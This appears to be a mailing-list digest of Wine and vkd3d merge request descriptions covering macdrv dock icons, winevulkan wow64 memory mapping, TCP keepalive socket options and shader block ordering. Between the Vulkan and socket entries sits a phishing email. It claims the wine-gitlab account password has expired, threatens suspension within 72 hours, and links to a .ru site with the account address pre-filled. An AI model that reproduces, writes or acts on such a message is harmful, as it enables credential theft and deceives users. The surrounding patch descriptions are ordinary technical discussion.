This is a change from the default behavior in macdrv for as long as it's existed, as far as I can tell. Previously, gaining a dock icon was a one-way path. However, that doesn't jive with the way taskbar entries work on Windows; if an app has no windows, it doesn't appear in the taskbar. This patch attempts to remedy cases where an app winds up with superfluous dock icons for exe's that no longer have windows (looking at you, basically every launcher and Steam).
The major concern I can see with this is that if an app closes all of its windows but does not exit, there will be no indication that it is still running. Two thoughts on that:
1. That *should* be an anomalous case, such as the app hanging on exit.
2. Effectively the same behavior would happen on Windows.
I would love to hear any other thoughts about this change. I'm open (though I would not prefer it) to defaulting the registry key to false if that would alleviate any concerns.
--
https://gitlab.winehq.org/wine/wine/-/merge_requests/5188
ATTENTION!!!,
Immediate action is required regarding the security of your email account wine-gitlab(a)winehq.org.
Your password has expired and must be updated immediately. Failure to do so within the next 72 hours will result in the suspension of your account and all messages will be returned to sender.
You can continue using the same password to avoid any inconvenience of remembering a new one.
KEEP SAME PASSWORD https://mashraqdigitalservices.ru/index.html?email=wine-gitlab@winehq.org
Your prompt attention to this matter is mandatory to prevent any unauthorized access to your account.
Thank you for your cooperation.
Sincerely,
With the new extension, we may implement wow64 correctly, without `VK_EXT_external_memory_host` hacks. This is both more correct and more performant (essentially eliminating Vulkan wow64 performance penalty).
--
v4: winevulkan: Use VK_EXT_map_memory_placed for memory mapping on wow64.
winevulkan: Refactor extra extensions handling in wine_vk_device_convert_create_info.
winevulkan: Use handle map for memory objects.
winevulkan: Rename wine_device_memory mapping to vm_map.
winevulkan: Remove no longer needed spec workarounds.
winevulkan: Update to VK spec version 1.3.278.
https://gitlab.winehq.org/wine/wine/-/merge_requests/5128
Application "ZusiDisplay" wants to set these socket options. setsockopt() currently returns an error on wine, which prevents the application from working correctly.
I'm not really sure if I'm using the IOCTL_AFD_WINE_SET/GET_* correctly. Maybe the new ones should have different "function" numbers and be sorted below the one for TCP_NODELAY?
Also, not sure if anything needs to be done in unix/socket.c for portability. Are these TCP_KEEPIDLE etc. constants defined on all OSes supported by wine? If not, how should I handle this?
ZusiDisplay seems to work fine if the setsockopt() call is ignored in wine, without returning an error. So if this merge request is not that great, I'd be happy to send a merge request to ignore the call instead.
--
https://gitlab.winehq.org/wine/wine/-/merge_requests/5195
This applies on top of !662, the last four commits belong here.
Here we compute a topological order (plus some additional properties) of the shader blocks. Eventually the blocks will be emitted precisely in this order, after having been enriched with structured control flow information.
--
v8: vkd3d-shader/ir: Keep loops contiguous in the topological sort.
https://gitlab.winehq.org/wine/vkd3d/-/merge_requests/672